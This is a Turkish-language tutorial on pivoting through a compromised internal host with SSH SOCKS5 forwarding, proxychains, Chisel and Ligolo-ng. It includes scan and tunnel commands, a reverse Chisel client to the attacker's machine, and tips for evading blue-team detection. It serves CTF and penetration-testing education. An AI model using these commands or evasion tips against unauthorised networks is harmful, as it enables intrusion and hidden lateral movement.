Bir iç ağdaki tek bir ele geçirilmiş ana bilgisayar, güvenilir bir pivot yolu olmadan işe yaramaz. SSH üzerinden SOCKS5 tünelleri, en düşük gecikmeli ve en araç bağımsız yatay hareket yöntemini sunar — ancak çoğu operatör bunları yanlış yapılandırır veya yetkin bir mavi takımın saniyeler içinde fark edeceği adli izler bırakır. 2024'te, düzgün kurulmuş bir SOCKS5 vekil sunucu, ham TCP verimi açısından hâlâ HTTP CONNECT vekil sunucularından daha iyidir ve proxychains-ng ile Chisel gibi araçlar sayesinde, hedefin güvenlik duvarı kurallarına dokunmadan tek bir SSH oturumu üzerinden nmap, Metasploit ve özel betikleri yönlendirebilirsiniz.
SSH Üzerinden SOCKS5 Neden Port Yönlendirmeden Daha İyidir
Statik yerel port yönlendirme (-L), her bir uzak hizmetle etkileşime geçmeden önce onu yerel bir porta eşlemenizi zorunlu kılar. Bir /24 alt ağını taramanız gerekiyorsa, 254 ayrı yönlendirme oluşturmanız gerekir. SOCKS5 dinamik yönlendirme (-D) bu sorunu, SSH tüneli üzerinden uzak ana bilgisayara herhangi bir TCP bağlantısını yönlendiren yerel bir SOCKS5 vekil sunucu açarak çözer. Protokol RFC 1928'de tanımlanmıştır ve kimlik doğrulama, UDP (isteğe bağlı) ve IPv6'yı destekler. Pratikte, tek bir yerel dinleyici elde edersiniz — genellikle 127.0.0.1:1080 üzerinde — ve SOCKS vekil sunucularını destekleyen her araç bunu kullanabilir. Ek yük ihmal edilebilir düzeydedir: SSH şifrelemesi belki %5-10 CPU ekler, ancak gecikme bir VPN'den veya bir web kabuğu üzerinden ters port yönlendirmeden çok daha düşüktür.
Linux Foothold'unda SOCKS5 Dinleyici Kurulumu
Hedef ağ içinde bir Linux ana bilgisayarında kabuğunuz olduğunu varsayalım. Bir pivot oluşturmanın en hızlı yolu, ele geçirilmiş ana bilgisayardan saldırı makinenize doğru ssh -D 1080 -N -f user@your-listener çalıştırmaktır. Ancak bu, engellenmiş olabilecek giden SSH erişimi gerektirir. Bunun yerine, saldırı makinenizden ele geçirilmiş ana bilgisayara doğru dinamik yönlendirmeyi çalıştırın:
ssh -D 1080 -N -f compromised_user@compromised_host
Bu, yerel port 1080'de bir SOCKS5 vekil sunucu açar. Şimdi proxychains-ng'i (/etc/proxychains.conf) bu vekil sunucuyu kullanacak şekilde yapılandırın:
socks5 127.0.0.1 1080
Ardından herhangi bir TCP aracını tünel üzerinden çalıştırın:
proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24
nmap'nın -sT (TCP connect taraması) gerektirdiğini unutmayın, çünkü SOCKS5 ham SYN paketlerini desteklemez. Metasploit için setg Proxies socks5:127.0.0.1:1080 değerini ayarlayın; tüm yardımcı ve sömürü modülleri pivot üzerinden yönlendirilecektir. Bu teknik, Hack The Box veya Proving Grounds gibi ikinci bir alt ağa ulaşmanın hedeflendiği CTF ortamlarında çalışır.
Chisel, Ligolo-ng ve Ödünleşimler
SSH kullanılamadığında — belki hedef Windows çalıştırıyordur veya SSH sunucusu yoktur — alternatif tünel araçları boşluğu doldurur. Chisel, TCP'yi HTTP/HTTPS üzerinden tünellemek için Go tabanlı bir istemci ve sunucu kullanır. Sunucuyu saldırı kutunuzda çalıştırın: chisel server -p 8000 --reverse. Ele geçirilmiş ana bilgisayarda istemciyi çalıştırın: chisel client your_ip:8000 R:socks. Bu size sunucu tarafında bir SOCKS5 dinleyici sağlar. Chisel hızlıdır ve kısıtlayıcı giden filtrelerle çalışır, ancak trafiği varsayılan olarak şifrelenmez — operasyonel güvenlik sizin için önemliyse TLS ile sarın veya SSH kullanın.
Ligolo-ng farklı bir yaklaşım benimser: TUN/TAP arayüzlerini kullanarak Katman 3'te bir ağ tüneli oluşturur. SOCKS5 yerine, tüm IP aralıklarını pivot üzerinden yönlendirirsiniz. Bu, proxychains olmadan nmap -sS (SYN taraması) çalıştırabileceğiniz anlamına gelir. Ödünleşim, yönetimsel yüktür: her iki uçta da root yetkisine ihtiyacınız vardır ve tünel kurulumu, saldırı makinenize rotalar eklemeyi gerektirir. Her iki tarafı da kontrol ettiğiniz CTF'lerde Ligolo-ng daha hızlıdır. Gerçek angajmanlarda, SOCKS5 yaklaşımı daha taşınabilirdir çünkü pivot ana bilgisayarda yükseltilmiş ayrıcalıklar gerektirmez.
Saldırganların Geride Bıraktığı Tespit Sinyalleri
Her pivot yöntemi iz bırakır. SSH dinamik yönlendirmesi, ele geçirilmiş ana bilgisayarda bir dinleme soketi oluşturur — ss -tlnp, 127.0.0.1:1080'e bağlı bir ssh sürecini gösterir. Mavi takımlar bunu harici bir IP'ye giden SSH bağlantılarıyla ilişkilendirebilir. Chisel'in istemci süreci varsayılan olarak chisel olarak adlandırılır — süreç izleme ile tespit edilmesi önemsizdir. Ligolo-ng, bir sunucuda anormal olan bir TUN aygıtı (ip link show) gerektirir.
Daha da kötüsü, birçok operatör temizlik yapmayı unutur. SSH oturumu, uzak ana bilgisayar onu öldürene veya bağlantı kopana kadar kalır. Proxychains yerel iz bırakmaz, ancak nmap trafiğinin kendisi — normalde tarama yapmayan bir ana bilgisayardan gelen olağandışı port taramaları — IDS uyarılarını tetikler. En yaygın hata, varsayılan SOCKS5 portu 1080'i yeniden kullanmaktır. Bunu yüksek bir geçici porta (ör. ssh -D 53421) değiştirin ve varsayılan bir yapılandırma dosyası bırakmamak için proxychains yapılandırmasını takma adlandırın. Bir CTF'de bunların hiçbiri önemli değildir. Gerçek bir sızma testinde, bu sinyaller yakalanmanızın nedenidir.